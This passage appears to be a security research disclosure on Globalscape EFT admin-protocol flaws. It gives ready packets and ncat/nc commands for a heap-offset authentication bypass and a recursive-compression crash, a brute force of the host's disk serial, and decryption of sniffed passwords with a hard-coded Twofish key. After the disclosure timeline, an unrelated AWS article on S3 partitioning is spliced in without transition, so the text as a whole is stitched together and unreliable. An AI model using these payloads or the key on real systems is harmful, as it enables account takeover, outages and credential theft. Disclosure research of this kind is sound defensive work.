If the message length is longer than 8 bytes, the message also has a body, which is composed of one or more parameters. Parameters in the body are formatted as a pretty typical type-length-value (TLV) structure, with human-readable field names to distinguish which field is which. The structure of the body is:

  • (32-bit) User-readable field name (such as PSWD for password and ADLN for username)
  • (32-bit) Type (the type is almost always 5, which is length-prefixed free-form data, but other types exist as well)
  • (Variable) Value; if the packet type is 5, it’s a length-prefixed free-form data structure:
    • (32-bit) Parameter length
    • (Variable) Value — the value is structured differently depending on the field name

The other noteworthy type is 1, in which case the parameter value is a 32-bit integer.

For example, here’s a login message:

          |       header        |  body.......     
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00   ^....... PSWD....
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12   $... ... .@q.....
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57   ...@d... ..x...JW
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00   ....I$.. ADLN....
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d   ........ r.o.n.AM
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00         ID...... ......

We can break down that message into the header and body, then named parameters within the body:

  • Header (8 bytes):
    • Length: 0x0000005e (94 bytes)
    • Message id: 0x00000001 (login)
  • Body (86 bytes):
    • Field 1:PSWD (encrypted password)
      • 0x00000005 – type
      • 0x00000024 – length (0x24 bytes)
      • \x20\x00\x00\x00\x86\x40... – value (encrypted password w/ length prefix)
    • Field 2: ADLN (username)
      • 0x00000005 – type
      • 0x0000000a – length (0x0a bytes)
      • \xfc\xff\xff\xff\x72\x00\x6f\x00\x6e\x00 – value ("ron" w/ inverted length prefix (which appears to indicate UTF-16 encoding))
    • Field 3: AMID – login type
      • 0x00000005 – type
      • 0x00000004 – length (4 bytes)
      • 0x00000000 – value (0 = EFT authentication)

All messages follow this structure, although each message ID has a different set of required parameters. The named parameters don’t need to be in any particular order.

Compression

A special message ID, 0xff7f, indicates that the body of the message is a full message (header and all), compressed as a Zlib deflate stream. A compressed version of the same login message from above might look like this:

00000000  5f 00 00 00 7f ff 00 00  78 9c 8b 63 60 60 60 04   _....... x..c```.
00000010  e2 80 e0 70 17 56 20 ad  02 c4 0a 40 dc e6 50 78   ...p.V . [email protected]
00000020  ef d2 ab 79 42 57 d7 49  38 a4 1c 61 79 7b 90 a3   ...yBW.I 8..ay{..
00000030  62 f3 bc 63 5e e1 c7 64  b7 f5 7a aa 70 77 3b ba   b..c^..d ..z.pw;.
00000040  f8 f8 81 d4 73 01 f1 9f  ff ff ff 17 31 e4 33 e4   ....s... ....1.3.
00000050  31 38 fa 7a 82 4d 61 61  80 00 00 bd 2a 19 18      18.z.Maa ....*..

This compressed message has a length of 0x0000005f, message ID of 0x0000ff7f, and a body of \x78\x9c\x8b..... The \x78 at the start indicates that it’s likely a deflate stream (and it is). If we use the openssl command-line utility to un-deflate the data, we get back the original message:

$ echo -ne "\x78\x9c\x8b\x63\x60\x60\x60\x04\xe2\x80\xe0\x70\x17\x56\x20\xad\x02\xc4\x0a\x40\xdc\xe6\x50\x78\xef\xd2\xab\x79\x42\x57\xd7\x49\x38\xa4\x1c\x61\x79\x7b\x90\xa3\x62\xf3\xbc\x63\x5e\xe1\xc7\x64\xb7\xf5\x7a\xaa\x70\x77\x3b\xba\xf8\xf8\x81\xd4\x73\x01\xf1\x9f\xff\xff\xff\x17\x31\xe4\x33\xe4\x31\x38\xfa\x7a\x82\x4d\x61\x61\x80\x00\x00\xbd\x2a\x19\x18" | openssl zlib -d | hexdump -C
00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

The remainder of this section will demonstrate issues we discovered in this admin protocol.

CVE-2023-2989—Authentication Bypass via Out-of-Bounds Read

We discovered a (blind) out-of-bounds memory read in the Globalscape EFT admin server that allows a specially crafted message to parse data anywhere in memory as if it’s part of the message itself. Although it’s tricky to exploit, an attacker can potentially leverage this issue to authenticate as another user that recently logged in by jumping into their login message and letting the parser believe it’s the attacker’s login message. We found this by developing a fairly naive fuzzer, which mostly just flips random bits in packets, that you can find here, then determining why the process crashed a bunch of different (but similar) ways. The vendor has published an advisory for this issue here.

Successful exploitation requires a confluence of factors; namely, the attacker must log in shortly after an administrator, while the administrator’s login message is still on the heap, then successfully guess the offset between their malicious message and the administrator’s login message. We did some experimentation and narrowed down the heap layout well enough to succeed after just a handful of attempts under ideal conditions. You can see how that works in our proof of concept, which logs in as the administrator then immediately sends an exploit attempt. This usually works after a small number of attempts in our lab environment (5-10 tries on average).

In the protocol documentation above, we noted that the 32-bit length field at the start of the message is used as part of the TCP protocol to receive exactly one TCP message. That means that if the length field is too large or too small, the TCP recv() operation will receive the requested number of bytes (if it can) and, if the message is incomplete or too long, it will simply not be processed. That typically prevents the packet parser from parsing a message with an invalid length.

However, we found a second way to create a message that gets parsed by the same protocol parser but does not go through TCP: compressed messages! When a message is compressed, the TCP stack is no longer involved, and the prefixed length is not validated in any way. The message parser will attempt to parse the message until it reaches the end, as indicated by the message length field, no matter how much data there actually is; that could be well past the end of available memory.

We can demonstrate this by creating a message with a very very long length (0x7fffffff), with a parameter that claims to be 0x41414141 bytes long (lots of other variations also work fine):

00000000  ff ff ff 7f 01 00 00 00  50 53 57 44 05 00 00 00   ........ PSWD....
00000010  41 41 41 41                                        AAAA

If we send that directly, it will be rejected after the server fails to receive 0x7fffffff bytes. However, if we compress the message, we end up with this 0x21-byte compressed version:

00000000  21 00 00 00 7f ff 00 00  78 9c fb ff ff 7f 3d 23   !....... x.....=#
00000010  03 03 43 40 70 b8 0b 2b  90 76 04 02 00 51 27 05   ..C@p..+ .v...Q'.
00000020  c5                                                 .

Which we can send with ncat or similar tools:

$ echo '\x21\x00\x00\x00\x7f\xff\x00\x00\x78\x9c\xfb\xff\xff\x7f\x3d\x23\x03\x03\x43\x40\x70\xb8\x0b\x2b\x90\x76\x04\x02\x00\x51\x27\x05\xc5' | ncat 172.16.166.170 1100

The TCP stack easily receives the 0x21 (33) bytes into a buffer. Then it inflates that message into 0x14 bytes of uncompressed data, including the enormous (and unvalidated) length field, which it assumes is correct. Unsurprisingly, that doesn’t go well! Since this is a heap overflow on a randomized heap, this proof of concept isn’t completely deterministic, but after a few tries the server should crash with an out-of-bounds read of some sort. This particular crash can happen in a variety of places depending on when exactly it reaches the end of available memory (plus, it depends what other values exist in the memory it’s trying to parse), which made it tricky to triage fuzzer crashes, but here’s one such crash:

(1bbc.87c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

From the registers, we can see that rdx, which is used in the memory read, is set to a negative value:

0:089> r
rax=0000024be75e5191 rbx=0000024ba61d1060 rcx=0000024ba74a9d10
rdx=fffffffffed272d4 rsi=0000000041414141 rdi=0000004d8611f418
rip=00007ff80ddc1917 rsp=0000004d8611f368 rbp=0000024ba4ef8334
 r8=0000000041414130  r9=0000000000025b19 r10=0000024ba4ef8334
r11=0000024ba61d1060 r12=0000024ba4ef8320 r13=0000004d8611f748
r14=0000000000000000 r15=0000000044575350
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
VCRUNTIME140!memcpy+0x627:
00007ff8`0ddc1917 0f10441110      movups  xmm0,xmmword ptr [rcx+rdx+10h] ds:0000024b`a61d0ff4=????????????????????????????????

Here’s the call stack leading up to the memcpy() where it crashes:

0:089> k
 # Child-SP          RetAddr               Call Site
00 0000004d`8611f368 00007ff6`d3e1405b     VCRUNTIME140!memcpy+0x627 [D:\a\_work\1\s\src\vctools\crt\vcruntime\src\string\amd64\memcpy.asm @ 735] 
01 0000004d`8611f370 00007ff6`d4011c2b     cftpstes!OPENSSL_Applink+0xde5cb
02 0000004d`8611f3b0 00007ff6`d4011640     cftpstes!OPENSSL_Applink+0x2dc19b
03 0000004d`8611f570 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbb0
04 0000004d`8611f640 00007ff6`d40ea977     cftpstes!OPENSSL_Applink+0x2dbc0f
05 0000004d`8611f710 00007ff6`d404430d     cftpstes!OPENSSL_Applink+0x3b4ee7
06 0000004d`8611fa20 00007ff6`d3f84989     cftpstes!OPENSSL_Applink+0x30e87d
07 0000004d`8611fb10 00007ff6`d3dbf8f2     cftpstes!OPENSSL_Applink+0x24eef9
08 0000004d`8611fbe0 00007ff6`d3e2d87b     cftpstes!OPENSSL_Applink+0x89e62
09 0000004d`8611fd10 00007ff8`1ac06b4c     cftpstes!OPENSSL_Applink+0xf7deb
0a 0000004d`8611fd50 00007ff8`1bdb4dd0     ucrtbase!thread_start<unsigned int (__cdecl*)(void *),1>+0x4c
0b 0000004d`8611fd80 00007ff8`1d69e3db     KERNEL32!BaseThreadInitThunk+0x10
0c 0000004d`8611fdb0 00000000`00000000     ntdll!RtlUserThreadStart+0x2b

Initially, we categorized this as a denial of service and moved on. Later, we realized that it could actually be leveraged for more. If we could construct a login message that, when parsed, jumps perfectly into another login message, that’s an opportunity to use a different user’s credentials without ever knowing them.

To develop an exploit that does exactly that, we connected to the service several thousand times, and used a debugger to determine where memory is allocated each time. Because of ASLR (randomized memory addresses), the heap memory allocations move around slightly, but we did narrow down the range quite a bit. Specifically, in our experimentation, our login messages were allocated at memory addresses that are some multiple of 0x70 bytes apart, and usually quite close together. Experimentally, the most common distance between two consecutive messages on Windows Server 2022 was 0x380 bytes, but several other offsets are also common. We developed this message as a demonstration, which assumes the next message starts 0x4d0 bytes after our message, which was the first working offset we discovered:

00000000  2e 05 00 00 01 00 00 00  61 61 61 61 05 00 00 00   ........ aaaa....
00000010  c4 04 00 00 00 00 00 00  61 61 61 61 61 61 61 61   ........ aaaaaaaa
00000020  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000030  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000040  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000050  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61   aaaaaaaa aaaaaaaa
00000060  61 61 61 61 61 61 61 61                            aaaaaaaa

Which compresses into the following:

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

The message claims to be 0x52e bytes long, which means that, as far as the parser is concerned, our message will end at the end of the next login message in memory!

This malicious login message contains one parameter that claims to be 0x4c4 bytes long with an unused name (aaaa). When that parameter is parsed, the parser will read (and discard) the entire 0x4c4-byte field, because a field called aaaa isn’t something it cares about. But, because the length of the field is 0x4c4 bytes, which doesn’t exceed the packet length of 0x52e bytes, the parser will check for the next field 0x4d0 bytes later, which is where the body of the next message starts. So, the parser will happily continue parsing the body of the second message as if it’s still part of the same message until it does reach the maximum length of 0x52e, which should be exactly where that message ends. That means that the various authentication fields (username/password) will come from that message!

Here’s what the messages look like when this attack succeeds:

In (version details):

    00000000  2c 00 00 00 2b 00 00 00  56 52 53 4e 01 00 00 00   ,...+... VRSN....
    00000010  a0 01 00 80 50 54 59 50  01 00 00 00 00 00 00 00   ....PTYP ........
    00000020  4c 53 59 53 01 00 00 00  01 00 00 00               LSYS.... ....

Out (malicious compressed packet):

00000000  25 00 00 00 7f ff 00 00  78 9c d3 63 65 60 60 64   %....... x..ce``d
00000010  60 60 48 04 02 20 93 e1  08 0b 03 18 24 52 19 00   ``H.. .. ....$R..
00000020  00 b7 34 20 d6                                     ..4 .

In (login succeeded):

    0000002C  96 18 00 00 01 00 00 00  41 44 4d 4e 05 00 00 00   ........ ADMN....
    0000003C  66 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 00 00   f....... r.o.n...
    0000004C  00 00 f4 98 aa 1a d0 15  54 fe af 1b 98 81 12 a9   ........ T.......
    0000005C  4f 45 00 00 00 00 01 00  00 00 00 00 00 00 00 00   OE...... ........
    [...]

This succeeds at a rate of approximately 1 in 10, even under ideal conditions; however, a clever attacker may be able to improve that by massaging the heap a bit. Therefore, we believe that this is a high-risk vulnerability, and should be treated as such.

CVE-2023-2990—Denial of Service Due to Recursive Compression

The Globalscape EFT server can be crashed by sending a recursively compressed packet (a compression "quine" to the administration port. We published a proof of concept here. The vendor has published advisory here.

We found the following function in the Globalscape EFT server, which we called decompress_and_parse_packet, that checks for the special compression message ID mentioned above (0xff7f):

.text:00007FF6D4011610                         decompress_and_parse_packet(void *parsed, void *packet, int length) proc near   ; CODE XREF: sub_7FF6D3E0D9F0+BAC↑p
.text:00007FF6D4011610                                                                 ; decompress_and_parse_packet+8A↓p ...
.text:00007FF6D4011610
; [......]
.text:00007FF6D4011632
.text:00007FF6D4011632                         check_for_compression:                  ; CODE XREF: decompress_and_parse_packet+19↑j
.text:00007FF6D4011632 81 7A 04 7F FF 00 00                    cmp     dword ptr [rdx+4], 0FF7Fh ; <-- Compare the msgid to 0xff7f
.text:00007FF6D4011639 74 07                                   jz      short packet_is_compressed ; <-- Handle compressed messages
.text:00007FF6D401163B E8 90 00 00 00                          call    parse_packet
.text:00007FF6D4011640 EB 6B                                   jmp     short return
.text:00007FF6D4011642                         ; ---------------------------------------------------------------------------
; [...]
.text:00007FF6D4011642                         packet_is_compressed:                   ; CODE XREF: decompress_and_parse_packet+29↑j
.text:00007FF6D4011642 8B 1A                                   mov     ebx, [rdx]
; [... decompression stuff ...]
.text:00007FF6D401168F 4C 8B C0                                mov     r8, rax
.text:00007FF6D4011692 48 8B 54 24 28                          mov     rdx, [rsp+0C8h+var_A0]
.text:00007FF6D4011697 48 8B CE                                mov     rcx, rsi
.text:00007FF6D401169A E8 71 FF FF FF                          call    decompress_and_parse_packet ; <-- Recurse after decompressing
.text:00007FF6D401169F 8B D8                                   mov     ebx, eax

Because the function recurses after decompressing, a message that decompresses to itself with an appropriate header will recurse infinitely and quickly crash the Globalscape EFT server.

To develop an exploit, we found this post about how to generate a compression quine with an arbitrary header, which includes ancient Go source code to generate an arbitrary quine in several different formats (.zip, .tar.gz, and .gz). We updated the Go code to compile on modern versions of Go, and to output a raw deflate stream. Using our version of that tool, we developed the following "quine" packet, which is also available in our proof of concept repository:

00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can demonstrate that the body decompresses to itself by using the openssl zlib inflation command on the 213-byte message body:

$ dd if=recursive.zlib bs=1 skip=8 count=213 2>/dev/null | openssl zlib -d | hexdump -C
00000000  e2 00 00 00 7f ff 00 00  78 9c 7a c4 c0 c0 50 ff  |........x.z...P.|
00000010  9f 81 a1 62 0e 00 10 00  ef ff 7a c4 c0 c0 50 ff  |...b......z...P.|
00000020  9f 81 a1 62 0e 00 10 00  ef ff 82 f1 61 7c 00 00  |...b........a|..|
00000030  05 00 fa ff 82 f1 61 7c  00 00 05 00 fa ff 00 05  |......a|........|
00000040  00 fa ff 00 14 00 eb ff  82 f1 61 7c 00 00 05 00  |..........a|....|
00000050  fa ff 00 05 00 fa ff 00  14 00 eb ff 42 88 21 c4  |............B.!.|
00000060  00 00 14 00 eb ff 42 88  21 c4 00 00 14 00 eb ff  |......B.!.......|
00000070  42 88 21 c4 00 00 14 00  eb ff 42 88 21 c4 00 00  |B.!.......B.!...|
00000080  14 00 eb ff 42 88 21 c4  00 00 00 00 ff ff 00 00  |....B.!.........|
00000090  00 ff ff 00 17 00 e8 ff  42 88 21 c4 00 00 00 00  |........B.!.....|
000000a0  ff ff 00 00 00 ff ff 00  17 00 e8 ff 42 12 46 16  |............B.F.|
000000b0  06 00 00 00 ff ff 01 08  00 f7 ff aa bb cc dd 00  |................|
000000c0  00 00 00 42 12 46 16 06  00 00 00 ff ff 01 08 00  |...B.F..........|
000000d0  f7 ff aa bb cc dd 00 00  00 00 aa bb cc dd 00 00  |................|
000000e0  00 00                                             |..|

We can send that message to the Globalscape EFT admin port using Netcat:

$ nc -v 172.16.166.170 1100 < recursive.zlib
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 172.16.166.170:1100.

And observe the server crash due to stack exhaustion (in a debugger):

0:073> g
(12dc.1a68): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31:
00007ff8`1d67f0dd e822220000      call    ntdll!RtlpGetHeapProtection (00007ff8`1d681304)

We can look at the call stack to verify that it does indeed crash by recursing infinitely and exhausting all stack memory:

0:096> k
 # Child-SP          RetAddr               Call Site
00 000000a7`cb583ff0 00007ff8`1d63f5a6     ntdll!RtlpHpAllocVirtBlockCommitFirst+0x31
01 000000a7`cb584060 00007ff8`1d63c4f9     ntdll!RtlpAllocateHeap+0x1246
02 000000a7`cb584230 00007ff8`1abeffa6     ntdll!RtlpAllocateHeapInternal+0x6c9
*** WARNING: Unable to verify checksum for C:\Program Files\Globalscape\EFT Server\cftpstes.exe
03 000000a7`cb584340 00007ff6`d486b217     ucrtbase!_malloc_base+0x36
04 000000a7`cb584370 00007ff6`d3de5803     cftpstes!OPENSSL_Applink+0xb35787
05 000000a7`cb5843a0 00007ff6`d43e17b4     cftpstes!OPENSSL_Applink+0xafd73
06 000000a7`cb5843d0 00007ff6`d4011660     cftpstes!OPENSSL_Applink+0x6abd24
07 000000a7`cb584400 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbbd0
08 000000a7`cb5844d0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
09 000000a7`cb5845a0 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0a 000000a7`cb584670 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
0b 000000a7`cb584740 00007ff6`d401169f     cftpstes!OPENSSL_Applink+0x2dbc0f
......

While the exploit itself is interesting from a development and mathematics perspective, this is ultimately a denial of service, and has no possibility of code execution or other security consequences.

CVE-2023-2991—Hard Drive Serial Number Disclosure

The hard drive serial number of the server hosting a Globalscape EFT instance can be derived by requesting a TER ("trial extension request") identifier. Presumably, this is an identifier used for uniquely identifying licensed hosts. As of this disclosure, this issue is not fixed, but is also minor enough to disclose (The vendor has disclosed it as a KB here). We developed a proof of concept that you can download here.

If we send a blank (header-only) message of type 0x138 to the administration port, it returns a lightly obfuscated base64 string in a field called HASH, and that is internally called a "TER":

$ echo -ne '\x08\x00\x00\x00\x38\x01\x00\x00' | nc 172.16.166.170 1100 | hexdump -C
[...]
00000020  [...]                                84 00 00 00  |            ....|
00000030  38 01 00 00 48 41 53 48  04 00 00 00 32 00 00 00  |8...HASH....2...|
00000040  2b 00 6b 00 34 00 56 00  47 00 30 00 41 00 54 00  |+.k.4.V.G.0.A.T.|
00000050  35 00 43 00 55 00 30 00  34 00 42 00 44 00 36 00  |5.C.U.0.4.B.D.6.|
00000060  30 00 5a 00 57 00 35 00  76 00 6d 00 30 00 47 00  |0.Z.W.5.v.m.0.G.|
00000070  4d 00 34 00 43 00 4a 00  57 00 70 00 6d 00 65 00  |M.4.C.J.W.p.m.e.|
00000080  4c 00 53 00 2f 00 51 00  38 00 46 00 46 00 69 00  |L.S./.Q.8.F.F.i.|
00000090  30 00 6a 00 50 00 50 00  34 00 43 00 74 00 78 00  |0.j.P.P.4.C.t.x.|
000000a0  67 00 3d 00 45 52 52 52  01 00 00 00 00 00 00 00  |g.=.ERRR........|

The actual string from the HASH field is +k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=, which does not correctly decode as base64:

$ echo -ne '+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg=' | base64 -d
�N�%4��ѕ��m3��Z��-/��Qb�3��+qbase64: invalid input

We reverse engineered the function that generates that value, and determined that six characters—0, 8, 0, 0, 0, and 0—are inserted into the base64 string at the offsets 14, 33, 5, 38, 21, and 11, in that order (presumably as obfuscation). We can undo that process by removing those six characters in the opposite order, which leaves us with the new base64 string +k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=. That fixed string does successfully decode as base64, into a 256-bit string:

$ echo -ne '+k4VGAT5CU4BD6ZW5vmGM4CJWpmeLS/QFFijPP4Ctxg=' | base64 -d | hexdump -C
00000000  fa 4e 15 18 04 f9 09 4e  01 0f a6 56 e6 f9 86 33  |.N.....N...V...3|                                                     
00000010  80 89 5a 99 9e 2d 2f d0  14 58 a3 3c fe 02 b7 18  |..Z..-/..X.<....|

That string is the SHA256 of the hard drive’s serial number. On my server, the serial number is 418934929, which means we can calculate the SHA256 digest ourselves and validate that it matches the string the server returned:

$ echo -ne '418934929' | sha256sum
fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718  -

Since the space of possible serial numbers is small, exhaustively brute forcing that integer value is possible in only a few minutes, even on a laptop:

$ time ruby ./request-hdd-serial.rb
Sending: ["0800000038010000"]                                                                                                      
Received TER:                                                                                                                      
{:length=>132,                                                                                                                     
 :msgid=>312,                                                                                                                      
 :args=>                                     
  {"HASH"=>                                  
    {:type=>:string,
     :length=>50,
     :data=>"+k4VG0AT5CU04BD60ZW5vm0GM4CJWpmeLS/Q8FFi0jPP4Ctxg="},
   "ERRR"=>{:type=>:int, :value=>0}}}
SHA256 of serial = fa4e151804f9094e010fa656e6f9863380895a999e2d2fd01458a33cfe02b718

Trying 0...
Trying 1048576...
Trying 2097152...
Trying 3145728...
Trying 4194304...
[...]
Trying 417333248...
Trying 418381824...
Found the serial: 418934929

________________________________________________________
Executed in  431.80 secs    fish           external
   usr time  426.37 secs    0.00 micros  426.37 secs
   sys time    0.07 secs  864.00 micros    0.07 secs

Plaintext-Equivalent Passwords in Network Traffic

By default, the remote administration server does not use SSL. We determined that, while the password transmitted on the wire is encrypted, the encryption key is hard-coded and users’ passwords can be recovered from a packet capture. We developed a tool that will do just that. Although we opted not to assign a CVE to this issue, the vendor has updated the default SSL setting in future versions and has published an advisory.

As noted above, administrators can run local Windows commands, which means that a packet capture essentially leads to remote code execution, unless the administrator enables SSL.

Here is an example of a login message that contains an encrypted password:

00000000  5e 00 00 00 01 00 00 00  50 53 57 44 05 00 00 00  |^.......PSWD....|
00000010  24 00 00 00 20 00 00 00  86 40 71 de d2 ea 9e 12  |$... ....@q.....|
00000020  d5 ae 18 40 64 c4 04 ed  c1 08 78 b3 9e c6 4a 57  |[email protected]|
00000030  c6 1d b6 8d 49 24 0b 8b  41 44 4c 4e 05 00 00 00  |....I$..ADLN....|
00000040  0a 00 00 00 fc ff ff ff  72 00 6f 00 6e 00 41 4d  |........r.o.n.AM|
00000050  49 44 05 00 00 00 04 00  00 00 00 00 00 00        |ID............|

It contains three fields: PSWD (password), ADLN (username), and AMID (login type). In our case, we’re only concerned with the encrypted password field (PSWD), which has the value:

\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b

Passwords are encrypted using the Twofish algorithm with a static key (tfgry\0\0\0\0\0\0\0\0\0\0\0) and blank IV. That means that passwords can be fully decrypted off the wire (although casual observers might believe that the encryption has some value). Here’s a demonstration of decrypting that password using the interactive Ruby shell (irb) and the twofish gem:

$ gem install twofish
[...]
$ irb

3.0.2 :001 > require 'twofish'
 => true

3.0.2 :002 > tf = Twofish.new("tfgry\0\0\0\0\0\0\0\0\0\0\0", :padding => :zero_byte, :mode => :cbc)
 => #<Twofish:0x0000000002b23340 [...]>

3.0.2 :003 > tf.iv = "\0" * 16
 => "\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000" 

3.0.2 :004 > puts (tf.decrypt("\x86\x40\x71\xde\xd2\xea\x9e\x12\xd5\xae\x18\x40\x64\xc4\x04\xed\xc1\x08\x78\xb3\x9e\xc6\x4a\x57\xc6\x1d\xb6\x8d\x49\x24\x0b\x8b") + "\0").force_encoding("UTF-16LE").encode("ASCII-8BIT")
Password1!

We use force_encoding() and encode to convert from UTF-16 to ASCII.

To demonstrate the impact, we wrote a tool that’ll decrypt passwords from a PCAP file:

$ ruby recover-pw.rb all-login-types.pcapng
Found login: ron / MyWindowsPassword (type = "Windows authentication")
Found login: ron / Password1! (type = "Windows authentication")
Found login: ron / testtest (type = "EFT Authentication")
Found login: ron / Password1! (type = "EFT Authentication")
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["400000004e544c4d535350000100000007b208a209000900370000000f000f00280000000a007c4f0000000f57494e2d5056394f48313349495542574f524b47524f5550"]
Found login: WIN-PV9OH13IIUB\Administrator / ******** (type = "Currently logged on user")
 NTLMSSP blob: ["580000004e544c4d535350000300000000000000580000000000000058000000000000005800000000000000580000000000000058000000000000005800000005c288a20a007c4f0000000fc336e05c920cada6821fe04d5709b868"]

Note that NTLM logins use the literal password ********, but also include an additional NTLMSSP blob containing the actual authentication details.

Remediation

These issues are fixed in Fortra Globalscape version 8.1.0.16. We don’t believe these require emergency patches, but since the ultimate consequence is remote code execution, they should be patched in the next planned patch cycle.

Timeline

  • April 2023 – Rapid7 begins researching Globalscape EFT
  • May 10, 2023: Rapid7 reports issues to vendor
  • May 10, 2023: Vendor acknowledgement
  • May 24, 2023: Vendor confirmed the issues
  • May 26, 2023: Rapid7 reserves CVEs
  • May 26 – June 1, 2023: Vendor and Rapid7 clarify additional details
  • June 13, 2023: Rapid7 asks for an update from vendor on patch ETA, proposes July 11 as coordinated disclosure date. Because of a minor misunderstanding, Rapid7 discovers vendor has already released fixes and KBs. Vendor volunteers to pull KBs offline while Rapid7 prepares our own disclosure. Initially, Rapid7 agrees to this.
  • June 14, 2023: Rapid7 asks vendor to republish their KBs in the interest of transparency and effective risk assessment while Rapid7 prepares this disclosure
  • June 20, 2023 – Vendor informs Rapid7 their KBs have been re-published
  • June 22, 2023 – Rapid7 releases this disclosure blog

Get started managing partitions for Amazon S3 tables backed by the AWS Glue Data Catalog

Post Syndicated from Anderson dos Santos original https://aws.amazon.com/blogs/big-data/get-started-managing-partitions-for-amazon-s3-tables-backed-by-the-aws-glue-data-catalog/

Large organizations processing huge volumes of data usually store it in Amazon Simple Storage Service (Amazon S3) and query the data to make data-driven business decisions using distributed analytics engines such as Amazon Athena. If you simply run queries without considering the optimal data layout on Amazon S3, it results in a high volume of data scanned, long-running queries, and increased cost.

Partitioning is a common technique to lay out your data optimally for distributed analytics engines. By partitioning your data, you can restrict the amount of data scanned by downstream analytics engines, thereby improving performance and reducing the cost for queries.

In this post, we cover the following topics related to Amazon S3 data partitioning:

  • Understanding table metadata in the AWS Glue Data Catalog and S3 partitions for better performance
  • How to create a table and load partitions in the Data Catalog using Athena
  • How partitions are stored in the table
  • Different ways to add partitions in a table on the Data Catalog
  • Partitioning data stored in Amazon S3 while ingestion and catalog

Understanding table metadata in the Data Catalog and S3 partitions for better performance

A table in the AWS Glue Data Catalog is the metadata definition that organizes the data location, data type, and column schema, which represents the data in a data store. Partitions are data organized hierarchically, defining the location where the data for a particular partition resides. Partitioning your data allows you to limit the amount of data scanned by S3 SELECT, thereby improving performance and reducing cost.

